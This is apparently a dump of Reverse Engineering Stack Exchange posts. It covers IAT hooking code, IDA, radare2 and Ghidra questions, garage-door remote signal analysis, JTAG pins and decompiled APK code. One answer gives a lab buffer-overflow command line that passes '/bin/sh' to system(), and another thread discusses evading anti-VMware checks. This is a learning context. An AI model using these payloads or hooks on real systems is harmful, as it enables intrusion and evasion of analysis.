+    WORD  wCALL = 0x15FF;
+
+    dwOEP = GetOEP(lpAddr);
+    i = dwOEP;
+    pCode = (BYTE *)((BYTE *)lpAddr + dwOEP);
+
+    // get the location of the module's IMAGE_NT_HEADERS structure
+    IMAGE_NT_HEADERS *pNtHdr = ImageNtHeader(lpAddr);
+    // section table immediately follows the IMAGE_NT_HEADERS
+    IMAGE_SECTION_HEADER *pSectionHdr = (IMAGE_SECTION_HEADER *)(pNtHdr + 1);
+
+    bool got = false;
+    for (int scn = 0; scn < pNtHdr->FileHeader.NumberOfSections; ++scn)
+    {
+        char *name = (char*)pSectionHdr->Name;
+        DWORD SectionStart = (DWORD)lpAddr + pSectionHdr->VirtualAddress;
+        DWORD SectionEnd = (DWORD)lpAddr + pSectionHdr->VirtualAddress + pSectionHdr->Misc.VirtualSize - 1;
+
+        if (got) {
+            pImageSectionStart = SectionStart;
+            break;
+        }
+
+        if (SectionStart == pImageBase + dwOEP && SectionEnd < dwImageSize) {
+            got = true;
+            //next one is imports.
+            ++pSectionHdr;
+            continue;
+        }
+        ++pSectionHdr;
+    }
+
+    if (!pImageSectionStart)
+        pImageSectionStart = dwImageSize;
+
+    printf(""Found OEP at %X, ImageSize = %X,%X\n"", dwOEP, dwImageSize, pImageSectionStart);
+
+    //search for FF 25 XXXX, FF 15 YYYY from OEP, had better use Disasm engine 
+    //but we just do it simply
+    while (i < pImageSectionStart)
+    {
+        if (memcmp(pCode, &wJMP, sizeof(WORD))
+            && memcmp(pCode, &wCALL, sizeof(WORD)))
+        {
+            //
+            instruction_length = insn_len(pCode);
+            pCode += instruction_length;
+            i += instruction_length;
+            continue;
+        }
+
+        //check illegal, *ptrFuncAddr > pImageBase  && *ptrFuncAddr <= pImageBase + dwImageSize
+        ptrFuncAddr = (DWORD *)(pCode + sizeof(WORD));
+        if (*ptrFuncAddr < (DWORD)pImageBase || *ptrFuncAddr >= (DWORD)pImageBase + dwImageSize)
+        {
+            instruction_length = insn_len(pCode);
+            pCode += instruction_length;
+            i += instruction_length;
+            continue;
+        }
+
+        //need to fix relocation
+        *(DWORD *)ptrFuncAddr = (long)lpAddr + *(long *)ptrFuncAddr - (long)pImageBase;
+        //now found one item that may belongs to IAT
+        ptrFuncAddr = (DWORD *)*ptrFuncAddr;
+
+        if ((DWORD)ptrFuncAddr > ptrFuncAddrHighest) {
+            ptrFuncAddrHighest = (DWORD)ptrFuncAddr;
+            printf(""highest = %X\n"", ptrFuncAddrHighest);
+        }
+
+        //recheck illegal, 
+        //for system dlls, what about user dlls? well, whatever, there must be system dlls
+        //what if we found IAT for system dlls, so we found the user dlls.
+        //What if the IAT tables are not continous????????
+        if (*ptrFuncAddr < dwMaxIATImageSize)
+        {
+            instruction_length = insn_len(pCode);
+            pCode += instruction_length;
+            i += instruction_length;
+            continue;
+        }
+        break;
+    }
+
+    //now it seems ptrFuncAddr points some item in IAT, 
+    //make ptrFuncAddr point to the beginning of the page
+    //we use 0xFFFEFFFF, because ptrFuncAddr is the memory addr we allocated, not by loadlibrary
+    *ptrIATEnd = (DWORD)ptrFuncAddrHighest;
+    ptrFuncAddr = (DWORD*)(((DWORD)ptrFuncAddr & 0xFFFFF000)
+        + ((DWORD)lpAddr & 0x0FFF)
+        );
+    return (DWORD)ptrFuncAddr;
+
+    //return NULL;
+}
+
+unsigned long Get_Import_Address(char* DLL, char* Library, char* Import, int ordinal = -1)
+{
+    HMODULE mhLoadedDLL = NULL;
+    do
+    {
+        if (!DLL)
+            mhLoadedDLL = GetModuleHandle(NULL);
+        else
+            mhLoadedDLL = GetModuleHandle(DLL);
+        Sleep(100);
+    } while (!mhLoadedDLL);
+
+    MODULEINFO modinfo;
+    GetModuleInformation(GetCurrentProcess(), mhLoadedDLL, &modinfo, sizeof(MODULEINFO));
+    DWORD ModuleSize = (unsigned long)modinfo.SizeOfImage;
+
+    PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)mhLoadedDLL;
+    PIMAGE_NT_HEADERS NtHeader;
+    PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor;
+    UINT Index = 0;
+
+
+    NtHeader = (PIMAGE_NT_HEADERS)(((PBYTE)DosHeader) + DosHeader->e_lfanew);
+    if (NtHeader->Signature != IMAGE_NT_SIGNATURE)
+        return 0;
+
+    ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(((PBYTE)DosHeader) + NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
+
+    if (mhLoadedDLL) {
+        ULONG Sz;
+        ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToDataEx(mhLoadedDLL, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &Sz, nullptr);
+    }
+
+    __try {
+        //
+        // Iterate over import descriptors/DLLs.
+        //
+        for (Index = 0; (ImportDescriptor[Index].Characteristics != 0 || ImportDescriptor[Index].Name); Index++) {
+            PSTR dllName = (PSTR)(((PBYTE)DosHeader) + ImportDescriptor[Index].Name);
+
+            if (_strcmpi(dllName, Library) == 0) {
+                // This the DLL we are after.
+                PIMAGE_THUNK_DATA Thunk;
+                PIMAGE_THUNK_DATA OrigThunk;
+
+                Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk);
+                OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk);
+
+                //Reset
+                Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk);
+                OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk);
+
+                for (; OrigThunk->u1.Function != NULL; OrigThunk++, Thunk++)
+                {
+                    if (ordinal != -1) {
+                        if ((OrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) && IMAGE_ORDINAL(OrigThunk->u1.Ordinal) == ordinal) //send ordinal
+                            return (DWORD)Thunk; //Address of import returns.
+                    }
+
+                    if (OrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) { // Ordinal import - we can handle named imports only, so skip it.
+                        continue;
+                    }
+
+                    PIMAGE_IMPORT_BY_NAME importt = (PIMAGE_IMPORT_BY_NAME)(((PBYTE)DosHeader) + OrigThunk->u1.AddressOfData);
+
+                    if (_strcmpi(Import, (char*)importt->Name) == 0) {
+                        return (DWORD)Thunk; //Address of import returns.
+                    }
+                }
+
+                unsigned long ptrFuncsIndex = (unsigned long)ImportDescriptor[Index].FirstThunk + (DWORD)mhLoadedDLL;
+                DWORD impAddress = (DWORD)GetProcAddress(GetModuleHandle(Library), Import);
+
+                //First get all modules loaded, so you can find the maximum ImageBase+ImageSize for IAT Max Size calculation.
+                if (gs_ModuleList.size() == 0) {
+                    BOOL bRet = SnapShotModules((DWORD)GetCurrentProcess());
+                    if (!bRet)
+                    {
+                        printf(""Failed to get Modules\n"");
+                        return 0;
+                    }
+                }
+
+                DWORD dwMaxIATImageSize = 0x70000000;
+                if (gs_ModuleList.size() > 0) {
+                    auto max_it = std::max_element(gs_ModuleList.begin(), gs_ModuleList.end(), [](const IAT_Module_Info& l, const IAT_Module_Info& h) {
+                        return l.ImageBase < h.ImageBase;
+                    });
+
+                    if (max_it->ImageBase > 0)
+                        dwMaxIATImageSize = (DWORD)max_it->ImageBase + max_it->ImageSize;
+
+                    printf(""Highest Imported DLL = %X %s\n"", max_it->ImageBase, max_it->DllName);
+                }
+                //now we do more, retrieve the Page where IAT in
+                DWORD ptrIATEnd = NULL;
+                DWORD ptrIAT = SearchIAT(mhLoadedDLL, ModuleSize, NtHeader->OptionalHeader.ImageBase, dwMaxIATImageSize, &ptrIATEnd);
+
+                printf(""Rebuilding IAT,Found IAT in page %X, IAT End %X\n"", ptrIAT, ptrIATEnd);
+                if(listOfIATImports.size() == 0)
+                    FixImport((DWORD)GetCurrentProcess(), ptrIAT, ptrIATEnd, ModuleSize);
+
+                if (listOfIATImports.size() > 0) {
+                    auto match = std::find_if(listOfIATImports.cbegin(), listOfIATImports.cend(), [Library, Import](const IAT_Import_Information& s) {
+                        return _strcmpi(s.IATModuleName, Library) == 0 && _strcmpi(s.IATFunctionName, Import) == 0;
+                    });
+
+                    if (match != listOfIATImports.cend()) {
+                        printf(""Found IAT = %X, %s %s\n"", match->IATAddress, match->IATModuleName, match->IATFunctionName);
+                    }
+
+                    std::list<IAT_Import_Information>::iterator i;
+                    for (i = listOfIATImports.begin();
+                        i != listOfIATImports.end();
+                        i++)
+                    {
+                        printf(""Module: %s Import: %s Address: %X\n"", i->IATModuleName, i->IATFunctionName, i->IATAddress);
+                    }
+
+                } else {
+                    printf(""Couldn't find module %s, import %s\n"", Library, Import);
+                }
+
+            }
+        }
+    }
+    __except (1) {
+        printf(""Exception hit parsing imports\n"");
+    }
+    return 0;
+}
+
+ +

Another include which is needed is x86_instruction_length.h can +https://pastebin.com/raw/YMSxjPvL

+ +

Usage:

+ +
DWORD GetTickCountx = Get_Import_Address(NULL, ""kernel32.dll"", ""GetTickCount"");
+if(GetTickCountx) {
+    if (!VirtualProtect((LPVOID)GetTickCountx , 4, new_rights, &old_rights))
+        return 0;
+    *(DWORD*)(GetTickCountx) = (DWORD)(NewTickCount);
+    VirtualProtect((LPVOID)GetTickCountx , 4, old_rights, &new_rights);
+}
+
+ +


+ https://github.com/fatrolls/IAT-Imports-Finder

+",3510,,3510,,6/15/2020 2:30,6/15/2020 2:30,,,,0,,,,CC BY-SA 4.0 +25301,1,,,6/15/2020 10:35,,1,1365,"

I'm trying to extract the callee arguments in my intel x86 binary using IDA Pro 7.3. I tried the following line:

+ +
ida_typeinf.get_arg_addrs(call_address)  # call address points at `call some_func`
+
+ +

For some reason, the call always returns None. Is there any other way to do this?

+",33552,,,,,2/20/2022 21:05,Getting function arguments in ida,,2,0,,,,CC BY-SA 4.0 +25302,1,25310,,6/15/2020 11:09,,1,77,"

I am using radare2 to analyze libpng_amd64.so.1.6.34, commands are as follows:

+ +
r2 = r2pipe.open(binary_file)
+r2.cmd('aaa')
+funcs = r2.cmdj('aflj')
+
+ +

len(funcs) is 461, but the number of functions got by IDA is 526, besides the numbers of strings, imports, exports... are also different. +I checked the result of radare2 and found some issuses, for example, the function png_write_row is followed by png_write_rows. Radare2 can not identity the second function png_write_rows and consider all code of those two functions to png_write_row. IDA works correctly.

+ +

Why they are different? and Why radare2 can not identity functions correctly? how can I use it to get correct results?

+",26830,,,,,6/16/2020 13:01,Results of radare2 are not correct,,1,0,,,,CC BY-SA 4.0 +25303,1,,,6/15/2020 11:59,,1,1555,"

Ollydbg isn't allowing me to open the executable ntoskrnl. I think im missing something but I don't know what it is (Windows 7, Ollydbg10.0,200)

+",33512,,,,,6/15/2020 11:59,"Unable to start file ""..\ntoskrnl.exe"" in ollydbg [What can I do?]",,0,5,,,,CC BY-SA 4.0 +25304,1,,,6/15/2020 8:31,,3,261,"

I'm trying to reverse engineer my garage door remote (we're having robbery problems here, so I check if it's a weak point), here's what I found, listening on 868MHz:

+ +

There's a ""preamble"" composed of an alternance of ones and zeros.

+ +

Then, data bits are transmitted using 3 bits, using the form ""10x"", I mean, a one, followed by a zero, following by a data bit, I do not recognize this encoding.

+ +

It looks to transmit 52 or 53 bits per button press (the last bit is always 0 so I don't really know if I have to count it or not).

+ +

Here's what I identified, I labelled the columns as far as I understand them, there's 4 lines for 4 distinct records (4 button press):

+ +
Constant     Remote specific  b    ?    rolling code ?   
+000011110100 1010101000000100 1000 0000 0011101001011011 0
+000011110100 1010101000000100 0100 0000 1111010101001100 0
+000011110100 1010101000000100 0010 0000 1011000111001010 0
+000011110100 1010101000000100 0001 0000 1000010111011001 0
+
+ +

with:

+ +
    +
  • Constant: ... a 12 bits constant, not identified, could be the door id, the vendor ID, a protocol constant, don't know.
  • +
  • Remote specific: a 16 bits value, it change when I test another remote so it may be something like the serial number of my remote.
  • +
  • b is 4 bits showing the pressed buttons, one bit per button, (4 buttons == 4 bitS), here I pressed successively button 1, 2, 3 and 4 to demo it.
  • +
  • the 2nd 4-bits column is always filled of zeros
  • +
  • 16 bits of maybe a rolling code
  • +
  • last bit is always 0, as far as I measured (like 25 records).
  • +
+ +

A long press emits the same message in a loop (the ""rolling code"" does not change""), but a release followed by another press make the rolling code change.

+ +

The remote is a ""v2 phoenix"", which looks compatible with the ""v2 phox"".

+ +

Do you have any idea about which protocol it is? (if it's named a ""protocol"")

+",33555,Julien Palard,13506,,6/28/2020 13:12,1/4/2021 6:39,Garage door rolling code: identifying the implementation,,0,3,,,,CC BY-SA 4.0 +25305,2,,14882,6/15/2020 14:53,,0,,"

How does this question differ to your question here?

+ +

Your key is Renjx%2$CjM.

+ +

You can use the zcu module I have written to decode your configuration file e.g.

+ + + +
$ python3 examples/decode.py config.bin config.xml --key 'Renjx%2$CjM'
+$ head config.xml
+<DB>
+<Tbl name=""DBBase"" RowCount=""1"">
+<Row No=""0"">
+<DM name=""IFInfo"" val=""0101010004000000010601000000021244010000440200004403000044040000""/>
+</Row>
+</Tbl>
+<Tbl name=""ETH"" RowCount=""4"">
+<Row No=""0"">
+<DM name=""ViewName"" val=""IGD.LD1.ETH1""/>
+<DM name=""LDWDViewName"" val=""IGD.LD1""/>
+
+",17778,,,,,6/15/2020 14:53,,,,1,,,,CC BY-SA 4.0 +25306,2,,25298,6/15/2020 20:57,,2,,"

I don't think your shell code works even in gdb. The problem is in the address of the string in your shellcode. You are not showing in your question how did you get the address of the string that you use (0x804a028) but if you would search for '/bin/sh', it would probably be at address 0x80487d0 and that should be in your shellcode. Right now your are passing an address that points to an address of the string. You just need an address of the string. You could verify it by calling shellcode(exec_string) and checking the stack/addressess/pointers just before the call to system.

+ +

So corrected executions should be:

+ +
./lab2B $(python -c ""print 'A' * 27 + '\xbd\x86\x04\x08' + 'BBBB' + '\xd0\x87\x04\x08'"")
+
+",18014,,,,,6/15/2020 20:57,,,,1,,,,CC BY-SA 4.0 +25308,2,,25301,6/16/2020 6:38,,1,,"

I have found out that if in the disassembler you give the type to the function that is being called, then the ida python function will work as it should.

+",33552,,,,,6/16/2020 6:38,,,,0,,,,CC BY-SA 4.0 +25309,1,25326,,6/16/2020 9:33,,1,341,"

I'm currently disassembling some firmware, when I stumbled across the following code snippet produced by Ghidra (the names are already my own ones):

+ + + +
void memset(byte *addr,byte value,int count)
+                            assume LRset = 0x0
+                            assume TMode = 0x1
+  undefined         r0:1           <RETURN>                                
+  byte *            r0:4           addr                                    
+  byte              r1:1           value
+  int               r2:4           count
+  undefined4        r0:4           iPtr                                    
+
+22 b1           cbz        count,LAB_FIN
+02 44           add        count,addr
+                      LAB_LOOP
+00 f8 01 1b     strb.w     value,[iPtr],#0x1
+90 42           cmp        iPtr,count
+fb d1           bne        LAB_LOOP
+                      LAB_FIN  
+70 47           bx         lr
+00              ??         00h
+bf              ??         BFh
+
+ +

Ghidra's decompiler produces the following output (after setting some types):

+ + + +
void memset(byte *addr,byte value,int count)
+{
+  byte *iPtr;
+
+  if (count != 0) {
+    iPtr = addr;
+    do {
+      iPtr = iPtr + 1;
+      *iPtr = value;                // write to iPtr AFTER the pointer was increased
+      iPtr = iPtr;
+    } while (iPtr != addr + count);
+  }
+  return;
+}
+
+ +

Now, I have two questions:

+ +
    +
  1. The decompiled function suggests that this memset function will not set the given address (addr) to the specified value, but will always start with addr+1. This, however, doesn't feel right and as far as I understand the strb.w instruction it uses post-indexing. Therefore - I think - the order of the pointer-increment and the assignment instruction is wrong. Am I right or do I miss something?

  2. +
  3. After the bx instruction there are two further bytes. I don't have the slightest idea what they are. Given that they are not ""00"" I don't think that they are (solely) used for alignment purposes. (The next function definitively starts directly after these two bytes.) Does anyone have an idea?

  4. +
+",33560,,,,,6/17/2020 15:10,Is Ghidra's decompilation of ARMv7 strb.w instruction broken?,,1,0,,,,CC BY-SA 4.0 +25310,2,,25302,6/16/2020 13:01,,0,,"

It might be due to different algorithms used for analysis or different options set for those. r2 (as well as IDA and Ghidra) has multiple options that can influence how the code is analyzed and how the functions (and other elements) are being recognized.

+ +

In this case, png_write_rows, as far as I can see, this function is not called anywhere in the lib and also doesn't have standard function prologue so it might be for the reason that r2 doesn't recognize it and mark correctly as a function.

+ +

How to fix? You can always modify the final analysis and define a function where the flag for png_write_rows is. You can do that in Visual mode by typing 'df' (define function).

+ +

Anyway, I would open an r2 issue to get some more info if this is a case of correct analysis flags (check e~anal) or why for some other reason r2 doesn't recognize correctly some elements in this lib.

+",18014,,,,,6/16/2020 13:01,,,,0,,,,CC BY-SA 4.0 +25312,1,,,6/16/2020 15:12,,3,980,"

I'm reversing an anti VMware mechanism which detects VGAuthService.exe and vmtoolsd.exe as well as a few registries that I've taken care of and some drivers from C:\Windows\System32\drivers\vm.... I deleted C:\Program Files\VMware folder and those drivers, killed VGAuthService.exe, vmtoolsd.exe and vm3dservice.exe processes but it's still detected, which means I'm missing something. However, when I uninstall VMware Tools, even without rebooting the machine, it's undetected.

+ +

Is there a tool/or way to find which files VMware Tools installation drops on disk, what it modifies, etc.? I remember there was a tool ""Orca"" which was useful for .MSI files, but it's not in this case.

+ +

My VM:

+ +
VMware® Workstation 15 Pro
+15.5.5 build-16285975
+
+",29838,,,,,4/17/2021 5:09,VMware Tools list of all installed files with it,,2,1,,,,CC BY-SA 4.0 +25313,2,,25312,6/16/2020 15:22,,1,,"

Possibly it's checking for the drivers (e.g. network card, mouse, or display), or for a registered service (even if it's not running). Check the devices and services list before and after uninstalling.

+",60,,,,,6/16/2020 15:22,,,,0,,,,CC BY-SA 4.0 +25315,1,25318,,6/16/2020 17:31,,1,76,"

I'm very much on the software side of things so I'm super inexperienced with debugging hardware. A custom processor I'm working with gives 2 debug pins, and given that it's an ARM system I suspect it to be 2-wire SWD. Looking at some tools I found online, specifically J-Link, it looks like I need to not only connect the two debug pins, but also a ground pin. However, I'm not given a third pin and I don't have a pinout of the processor due to it being a custom build. Is there a way to find a ground on the processor?

+",33565,,24222,,6/17/2020 0:24,6/17/2020 0:24,"I have a two pin debug interface, confused on how to use it",,1,1,,,,CC BY-SA 4.0 +25316,2,,25215,6/16/2020 18:28,,2,,"

Yes, you can do that. Once you set the hardware breakpoint you can go to Breakpoints tab, right click the breakpoint on which you want to set condition, and select Edit. Now you can set the break condition.

+ +

Let's say your value is written to the memory in such way mov dword ptr ds:[edx],eax, so you can set the Break condition to EAX==2F, and then the program will be interrupted only when the value to write is equal to 2F.

+",21109,,,,,6/16/2020 18:28,,,,0,,,,CC BY-SA 4.0 +25317,2,,25289,6/16/2020 20:03,,2,,"

ActiveX controls (.ocx) are actually simple DLLs conforming to the COM standard. In practice, it means that it exports standard COM entry points such as:

+ +
 DllRegisterServer
+ DllUnregisterServer
+ DllCanUnloadNow
+ DllGetClassObject
+
+ +

The most important for us is DllGetClassObject as this is the one called by the host process to create the ActiveX control(s).

+ +

To see where the code is located, you need to find the file implementing it. in IE, it can be done from ""Manage Add-Ons"" dialog.

+ +
+ +

For example, here are the details for the Flash control:

+ +
Name:                   Shockwave Flash Object
+Publisher:              Microsoft Windows Third Party Application Component
+Type:                   ActiveX Control
+Architecture:           32-bit and 64-bit
+Version:                32.0.0.387
+File date:              ‎3 ‎June, ‎2020, ‏‎03:53
+Date last accessed:     ‎16 ‎June, ‎2020, ‏‎21:19
+Class ID:               {D27CDB6E-AE6D-11CF-96B8-444553540000}
+Use count:              52850
+Block count:            18
+File:                   Flash.ocx
+Folder:                 C:\Windows\System32\Macromed\Flash
+
+ +

So, we need to analyze Flash.ocx (in C:\Windows\System32\Macromed\Flash for 64-bit or C:\Windows\SysWow64\Macromed\Flash for 32-bit IE).

+ +

To debug, set the full path to the file in Debugger-Process Options-Input File, set breakpoint on DllGetClassObject then attach to the IE process. Once a page with a Flash control is loaded the breakpoint should trigger.

+",60,,,,,6/16/2020 20:03,,,,2,,,,CC BY-SA 4.0 +25318,2,,25315,6/16/2020 20:14,,2,,"

Usually all the grounds on the PCB are connected together, so look for something like a metal shield, USB connector housing, or any other element that should be connected to ground (e.g. a capacitor). There may also be big copper areas used for the ground plane.

+",60,,,,,6/16/2020 20:14,,,,0,,,,CC BY-SA 4.0 +25320,1,,,6/17/2020 0:05,,1,120,"

I'm trying to find the JTAG header for an Intel X Scale (ArmV5) PXA270 board. I found and populated a 20-pin header:

+ +

+ +

but JTAGulator doesn't think it has a valid combination of TDI/TDO/TMS/TCK on either a IDCode or bypass scan. I put a logic analyzer on it and don't really see a steady clock:

+ +

+ +

Is it possible the clock is elsewhere and some of the header pins are still TDI/TDO etc., or do any of the logic analyzer data seem they could be from JTAG?

+",33511,,,,,6/17/2020 0:05,ARM 20-pin JTAG header?,,0,4,,,,CC BY-SA 4.0 +25321,1,,,6/17/2020 7:16,,-2,214,"

is it possible to reverse engineer an apk just to unlock hidden/unreleased features?

+",31398,,31398,,6/26/2020 10:52,6/26/2020 10:52,How to reverse engineer apks?,,1,2,,6/22/2020 13:40,,CC BY-SA 4.0 +25322,1,25336,,6/17/2020 11:23,,3,210,"

I have written a script which extracts all the assembly code from a PE using this code in ghidra

+
instructionList = []
+for instr in currentProgram.getListing().getInstructions(True):
+    instructionList.append(instr)
+
+

but the issue is that, is changes all the .DLL calls in the assembly code. +For example, if the listing window shows

+
CALL        dword ptr [->MSVCRT.DLL::signal] 
+
+

The output I get is

+
CALL dword ptr [EBP + -0x14]
+
+

Is there a way to get the assembly code exactly as it is in the listing window

+",33506,,33506,,6/17/2020 11:41,6/18/2020 17:57,Extracting Info from Ghidra Listing Window,,2,0,,,,CC BY-SA 4.0 +25323,2,,25321,6/17/2020 11:57,,1,,"

Try to learn the structure of the apk, learn SMALI, understand how the apk works, after understanding what your calls are like and learning smali, it is essential to be able to make calls from resources, but stay tuned for apk protections , even considering a somewhat rare factor, there are also several online tools to assist in this factor, with a simple search for smali studio you will find, good luck;

+",33530,,,,,6/17/2020 11:57,,,,3,,,,CC BY-SA 4.0 +25325,1,,,6/17/2020 14:12,,-1,142,"

I wanted to analyse the code for some functionality. +in my understanding the code contains a logic handling intents with extras. I want to know how these Works! and also how can I pass extras using adb. Here is code snippet:

+
package com.facebook.katana.activity;
+public class FbMainTabActivity extends com.facebook.base.activity.FbFragmentActivity implements X.11j, X.11g, X.11k, X.11n, X.11r, X.11p, X.11o, X.11q, X.11s, X.19d, X.11t, X.0B2, X.2IH, X.11u, X.11v, X.11x, X.12k, X.2II, X.12l, X.1z9, X.12v, X.12w {
+    public static X.12x A09;
+    public static final com.google.common.collect.ImmutableList A0A;
+    public com.facebook.common.util.TriState A00;
+    public boolean A01;
+    public android.view.View A02;
+    public X.0lw A03;
+    public X.12x A04;
+    public X.3tw A05;
+    public Object A06;
+    public boolean A07;
+    public final long A08;
+
+    public static FbMainTabActivity()
+    {
+        com.facebook.katana.activity.FbMainTabActivity.A0A = com.google.common.collect.ImmutableList.of("chromeless:content:fragment:tag", "PhotoAnimationDialogFragment_MEDIA_GALLERY", "PhotoAnimationDialogFragment_PHOTOS_FEED");
+        return;
+    }
+
+    public FbMainTabActivity()
+    {
+        this.A00 = com.facebook.common.util.TriState.UNSET;
+        this.A08 = android.os.SystemClock.uptimeMillis();
+        this.A05 = 0;
+        this.A02();
+        return;
+    }
+
+    private final android.view.ViewGroup A00()
+    {
+        return ((X.2Pt) X.0km.A04(10, 9992, this.A03)).A04();
+    }
+
+    private final com.facebook.feed.fragment.NewsFeedFragment A01()
+    {
+        com.facebook.feed.fragment.NewsFeedFragment v0_0 = 0;
+        if (this.BjY()) {
+            X.2Ur v1_1 = this.A1C();
+            if (v1_1 != null) {
+                v0_0 = ((com.facebook.feed.fragment.NewsFeedFragment) v1_1.A2D());
+            }
+        }
+        return v0_0;
+    }
+
+    private void A02()
+    {
+        String v0_0 = com.facebook.katana.activity.FbMainTabActivity.A09;
+        if ((v0_0 == null) || (v0_0.get() == null)) {
+            com.facebook.katana.activity.FbMainTabActivity.A09 = new X.12x(this);
+            return;
+        } else {
+            if ((((com.facebook.katana.activity.FbMainTabActivity) com.facebook.katana.activity.FbMainTabActivity.A09.get()).A04 != null) && (((com.facebook.katana.activity.FbMainTabActivity) com.facebook.katana.activity.FbMainTabActivity.A09.get()).A04.get() == null)) {
+                X.00N.A0F("FbMainTabActivity", "FbMainTabActivity might have leaked!");
+            }
+            return;
+        }
+    }
+
+    private final void A03()
+    {
+        ((X.2Pt) X.0km.A04(10, 9992, this.A03)).A0C();
+        return;
+    }
+
+    public static final void A04(android.content.Context p0, com.facebook.katana.activity.FbMainTabActivity p1)
+    {
+        com.facebook.katana.activity.FbMainTabActivity.A0A(X.0km.get(p0), p1);
+        return;
+    }
+
+    private void A05(android.content.Intent p10)
+    {
+        X.08P.A02("FbMainTabActivity.handleNewIntent", 548977818);
+        try {
+            boolean v0_9;
+            if (!((X.2Tl) X.0km.A04(27, 10032, this.A03)).A00(this, p10)) {
+                android.content.Intent v3 = ((X.1Q5) X.0km.A05(9134, this.A03)).A02(p10);
+                if ((v3.getBooleanExtra("refresh_feed", 0)) && (this.BjY())) {
+                    this.A01().A2M(X.16v.A06);
+                }
+                String v8 = v3.getStringExtra("rum_destination_uri");
+                boolean v7 = v3.getBooleanExtra("should_show_rum_player", 0);
+                boolean vtmp9 = v3.getBooleanExtra("should_hide_rum_player", 0);
+                if ((v8 == null) || (!v7)) {
+                    if (vtmp9) {
+                        ((X.1lF) X.0km.A04(23, 9433, this.A03)).A02(0);
+                    }
+                } else {
+                    boolean v0_28 = ((X.1lF) X.0km.A04(23, 9433, this.A03));
+                    v0_28.A02(v7);
+                    v0_28.A01(v8);
+                }
+                if (!com.facebook.katana.activity.FbMainTabActivity.A0M(v3)) {
+                    if (((v3.getBooleanExtra("force_reset_to_feed_from_certain_tabs", 0)) && (((X.2Pt) X.0km.A04(10, 9992, this.A03)).A0N())) || (v3.getBooleanExtra("force_reset_to_feed", 0))) {
+                        this.Czs();
+                    }
+                    if (v3.getBooleanExtra("jump_to_top", 0)) {
+                        this.A1K();
+                    }
+                    if ((this.A0L(v3)) || (v3.hasExtra("target_tab_id"))) {
+                        if (v3.hasExtra("from_deeplink_to_watch")) {
+                            if (v3.hasExtra("is_warion_state")) {
+                                ((X.3tx) X.0km.A04(5, 16982, this.A03)).A02(v3.getBooleanExtra("is_warion_state", 0));
+                            }
+                            if (v3.hasExtra("is_warion_dark_mode")) {
+                                ((X.3tx) X.0km.A04(5, 16982, this.A03)).A01(v3.getBooleanExtra("is_warion_dark_mode", 0));
+                            }
+                        }
+                        this.A09(v3);
+                    }
+                    if (v3.hasExtra("pass_deeplink_intent_to_tab")) {
+                        this.A07(v3);
+                    }
+                    this.A06(v3);
+                    v0_9 = 734594812;
+                } else {
+                    this.A08(v3);
+                    v0_9 = -1612877982;
+                }
+            } else {
+                v0_9 = -1639492758;
+            }
+        } catch (X.3tx v1_6) {
+            X.08P.A01(744680193);
+            throw v1_6;
+        }
+        X.08P.A01(v0_9);
+        return;
+    }
+....
+
+

This method in the code snippet it gets an intent type parameter and does some work:

+

+private void A05(android.content.Intent p10) 
+{
+        X.08P.A02("FbMainTabActivity.handleNewIntent", 548977818);
+        try {
+            boolean v0_9;
+            if (!((X.2Tl) X.0km.A04(27, 10032, this.A03)).A00(this, p10)) {
+                android.content.Intent v3 = ((X.1Q5) X.0km.A05(9134, this.A03)).A02(p10);
+                if ((v3.getBooleanExtra("refresh_feed", 0)) && (this.BjY())) {
+                    this.A01().A2M(X.16v.A06);
+                }
+                String v8 = v3.getStringExtra("rum_destination_uri");
+                boolean v7 = v3.getBooleanExtra("should_show_rum_player", 0);
+                boolean vtmp9 = v3.getBooleanExtra("should_hide_rum_player", 0);
+                if ((v8 == null) || (!v7)) {
+                    if (vtmp9) {
+                        ((X.1lF) X.0km.A04(23, 9433, this.A03)).A02(0);
+                    }
+                } else {
+                    boolean v0_28 = ((X.1lF) X.0km.A04(23, 9433, this.A03));
+                    v0_28.A02(v7);
+                    v0_28.A01(v8);
+                }
+                if (!com.facebook.katana.activity.FbMainTabActivity.A0M(v3)) {
+                    if (((v3.getBooleanExtra("force_reset_to_feed_from_certain_tabs", 0)) && (((X.2Pt) X.0km.A04(10, 9992, this.A03)).A0N())) || (v3.getBooleanExtra("force_reset_to_feed", 0))) {
+                        this.Czs();
+                    }
+                    if (v3.getBooleanExtra("jump_to_top", 0)) {
+                        this.A1K();
+                    }
+                    if ((this.A0L(v3)) || (v3.hasExtra("target_tab_id"))) {
+                        if (v3.hasExtra("from_deeplink_to_watch")) {
+                            if (v3.hasExtra("is_warion_state")) {
+                                ((X.3tx) X.0km.A04(5, 16982, this.A03)).A02(v3.getBooleanExtra("is_warion_state", 0));
+                            }
+                            if (v3.hasExtra("is_warion_dark_mode")) {
+                                ((X.3tx) X.0km.A04(5, 16982, this.A03)).A01(v3.getBooleanExtra("is_warion_dark_mode", 0));
+                            }
+                        }
+                        this.A09(v3);
+                    }
+                    if (v3.hasExtra("pass_deeplink_intent_to_tab")) {
+                        this.A07(v3);
+                    }
+                    this.A06(v3);
+                    v0_9 = 734594812;
+                } else {
+                    this.A08(v3);
+                    v0_9 = -1612877982;
+                }
+            } else {
+                v0_9 = -1639492758;
+            }
+        } catch (X.3tx v1_6) {
+            X.08P.A01(744680193);
+            throw v1_6;
+        }
+        X.08P.A01(v0_9);
+        return;
+    }
+
+

Apparently, these codes are heavily obfuscated, how can I deobfuscate it?

+",31398,,31398,,6/26/2020 11:01,6/26/2020 11:01,How can I analyze this code?,,1,0,,6/22/2020 13:36,,CC BY-SA 4.0 +25326,2,,25309,6/17/2020 14:33,,0,,"

